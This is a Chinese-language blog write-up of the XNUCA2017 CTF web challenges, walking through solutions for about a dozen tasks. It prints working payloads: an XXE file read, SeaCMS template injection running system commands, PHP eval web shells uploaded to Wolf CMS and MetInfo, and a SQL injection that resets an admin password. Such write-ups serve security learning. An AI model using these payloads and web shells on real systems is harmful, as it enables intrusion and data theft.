Chybeta

XNUCA2017-第一期:Web-writeup

XNUCA2017-第一期:Web-writeup 难度中等偏下

题目类型:CTF题,渗透/模板题

No.1 你喜欢颜文字么

1
2
3
4
5
6
关键字词:一档CTF题
===============================================================
Lloowweerrxx是个喜欢用代码仓库的好孩子
f3e6cc87187fe797bf8c89e7688c1039.xnuca.cn

看到代码仓库,想到github,访问:

1
https://github.com/lloowweerrxx/

发现有

1
2
3
4
5
6
7
8
9
10
11
12
13
$safeanswer = $_POST['safeanswer'];
$safequestion = $_POST['safequestion'];
$turequestion = intval(0);
$tureanswer = intval(0);
if(empty($safequestion)){
die("安全问题不能为空!");
}
if(empty($safeanswer)){
die("安全问题答案不能为空!");
}
if($tureanswer == $safeanswer && $turequestion == $safequestion){
echo $flag;
}

得到flag:

1
xnuca{921e440934d87e45f37e3ec2081f9735}

No.2 让你无语的md5

1
2
3
4
5
6
关键字词:一档CTF题
===============================================================
Pav1遇到不会的md5很喜欢去百度一下无语的md5
e5a5dc7404c4e4dad32e4556ac2588b6.xnuca.cn

查看源代码:

1
2
<!--pav1和lloowweerrxx经常因为用同一个账号而吵起来-->
<!--pav1建数据库喜欢用默认的latin1,lloowweerrxx写程序的时候set了一下utf8,他们好像又吵起来啦-->

输入:admin
(即admin后面有好多空格),得到:

然后去 https://somd5.com/ 查询,得到:

1
xnuca{0c7b5781935082833f6487a69d81404b}

No.3 Pav1和lloowweerr…

1
2
3
4
5
6
关键字词:二档CTF题
===============================================================
听说pav1不小心放了一个flag文件在/home/user下,而且忘了加扩展名
9f264492ec95b853dec810609f875c3b.xnuca.cn

很明显,ffmpeg任意文件读取漏洞,参考

1
http://www.freebuf.com/column/142775.html

运行:

1
python3 gen_xbin_avi.py file:///home/user/flag chybeta.avi

然后上传到网站上,最后下载下来

观看

1
xnuca{7bed46c5c61c0ac625cebf8a9922cc48}

No.4 X-NUCA 2017’s S…

1
2
3
4
5
6
关键字词:二档CTF题
===============================================================
X-NUCA 2017’s Secrets
a4b359466421ae3aa76a8b116dda3870.xnuca.cn

这个没做出来。

No.5 Lucky Number Ca…

1
2
3
4
5
6
关键字词:一档CTF题
===============================================================
Lucky Number Calc
f83f119af64fa2b94c37231bbce09678.xnuca.cn

填入后,抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ctf1.php HTTP/1.1
Host: f83f119af64fa2b94c37231bbce09678.xnuca.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://f83f119af64fa2b94c37231bbce09678.xnuca.cn/
Content-Length: 30
Connection: close
<user><name>aaaa</name></user>

xml的形式,就觉得是xxe漏洞,不过早上弄得时候没弄出来。下午lzhtony给了一个能读取文件的payload,但没发现flag在哪。

然后就开始找咯,对照自己的linux的目录一个一个翻,最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /ctf1.php HTTP/1.1
Host: f83f119af64fa2b94c37231bbce09678.xnuca.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://f83f119af64fa2b94c37231bbce09678.xnuca.cn/
Content-Length: 134
Connection: close
<!DOCTYPE ANY [
<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
]>
<user><name>&x;</name></user>

解码得:

1
2
3
4
5
6
7
127.0.0.1 localhost
127.0.0.1 xnuca{N3sSMD165KesSXlyOgwMGTepI2HTJC0b}.xip.io
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

flag:

1
xnuca{N3sSMD165KesSXlyOgwMGTepI2HTJC0b}

看这个flag的位置和hosts的配置,感觉是要利用xxe来探测内网来获得flag的。

No.6 Hello World

1
2
3
4
5
6
7
关键字词:二档CTF题
===============================================================
即使是Hello world也要好好管理代码!
91101217df5a534c58f8b0e0922e1161.xnuca.cn

说要管理代码,git泄露。

1
perl rip-git.pl http://91101217df5a534c58f8b0e0922e1161.xnuca.cn/.git

没做出来。

No.8 看视频真嗨皮

1
2
695c354c811a33d792d9e0efb2305cfb.xnuca.cn
请在目标入口/writeHere/目录下创建名为00111e86d51fa2b62add879572a0d29e的文件

海洋cms,见了好多次了。创建文件的payload如下:

1
2
3
4
http://695c354c811a33d792d9e0efb2305cfb.xnuca.cn/writeHere/00111e86d51fa2b62add879572a0d29e
POST:
searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=file_put_contents("writeHere/00111e86d51fa2b62add879572a0d29e","<?php phpinfo(); ?>");

查找flag的payload如下:

1
2
3
4
view-source:http://695c354c811a33d792d9e0efb2305cfb.xnuca.cn/search.php?searchtype=5
POST:
searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=system("find / | grep flag");

读取flag的payload如下:

1
2
3
4
view-source:http://695c354c811a33d792d9e0efb2305cfb.xnuca.cn/search.php?searchtype=5
POST:
searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=system("cat /etc/flag.txt");

得到flag:

1
xnuca{36d1ecfbe0fc9b79054ff70bb204af25}

No.9 The Best Commun…

1
96433e53a974329f13590be3e215aebd.xnuca.cn

查到:

1
https://www.exploit-db.com/exploits/40756/

利用里面的exp进行获取flag:

1
2
3
4
5
6
7
8
9
0x4148@96433e53a974329f13590be3e215aebd.xnuca.cn# cat /etc/flag.txt
xnuca{123e5ebb3f34a07990e477e85eb60170}
0x4148@96433e53a974329f13590be3e215aebd.xnuca.cn# echo "a" > ../writeHere/00111e86d51fa2b62add879572a0d29e
0x4148@96433e53a974329f13590be3e215aebd.xnuca.cn# ls ../writeHere/
00111e86d51fa2b62add879572a0d29e

No.11 两只小蜜蜂啊

1
2
3
adee757b88f7716820dc6d9bec43684d.xnuca.cn
请在目标入口/writeHere/目录下创建名为00111e86d51fa2b62add879572a0d29e的文件

查到:

1
https://bbs.ichunqiu.com/thread-13977-1-1.html

利用文章里的exp,成功获取到shell。然后就拿到flag了。不过忘记截图了。

No.12 社工库

1
2
3
4
5
关键字词:二档靶标题
===============================================================
社工之余吃个芒果休息一下吧!

没做出来。

No.18 “开讲啦”

查到:

1
https://www.exploit-db.com/exploits/24869/

访问:

1
2
3
4
http://8d52640a73d8073066c951df0501184a.xnuca.cn/oauth/lti/common/tool_provider_outcome.php
POST:
grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=/etc/flag.txt

得到flag:

1
xnuca{Co8n0g5r72a4tul3at2ions!Y0ug0tMe}

但是因为只找到任意文件读取漏洞,所以只能做读取flag的操作。写的操作没有成功。

No.23 找入口

1
http://www.websecgeeks.com/2015/08/wolf-cms-arbitrary-file-upload-to.html

弱密码:admin:admin 登陆后直接上传k.php,内容为:

1
<?php eval($_GET['AAA']) ?>

访问,写入文件

1
http://cef033ea85498682c1c33309def1a109.xnuca.cn/public/k.php?AAA=file_put_contents("writeHere/00111e86d51fa2b62add879572a0d29e","<?php phpinfo(); ?>");

访问,读取flag。

1
http://cef033ea85498682c1c33309def1a109.xnuca.cn/public/k.php?AAA=system("cat /etc/flag.txt");

flag:

1
xnuca{24567gtfvretyasdsgrtyjyufdgrth23}

No.24 可爱的星星

1
2
3
37af3efae1d906343d29b6b1a96fcd54.xnuca.cn
请在目标入口/writeHere/目录下创建名为00111e86d51fa2b62add879572a0d29e的文件

没做出来。

No.25 愉快的玩耍吧

重置Admin密码为1234567:

1
/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23--

登录,并上传一个压缩了一句话php文件的压缩包到以下地址,会自动解压

1
/admin/include/uploadify.php?type=skin&wate=undefined&module=undefined&lang=cn

插入一句话的代码是

1
<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'],); array_filter($arr, base64_decode($e)); ?>

用以下地址得到shell:

1
/templates/test.php?e=YXNzZXJ0

然后读取/etc/flag.txt,并写入文件即可。

小结

吐槽点:

  • 比赛服务器:)
  • 扫一扫就被办:)
  • 重点是找poc/exp…..
微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XNUCA2017-第一期:Web-writeup

文章作者:chybeta

发布时间:2017年08月26日 - 08:08

最后更新:2017年08月28日 - 18:08

原始链接:http://chybeta.github.io/2017/08/26/XNUCA2017-第一期:Web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。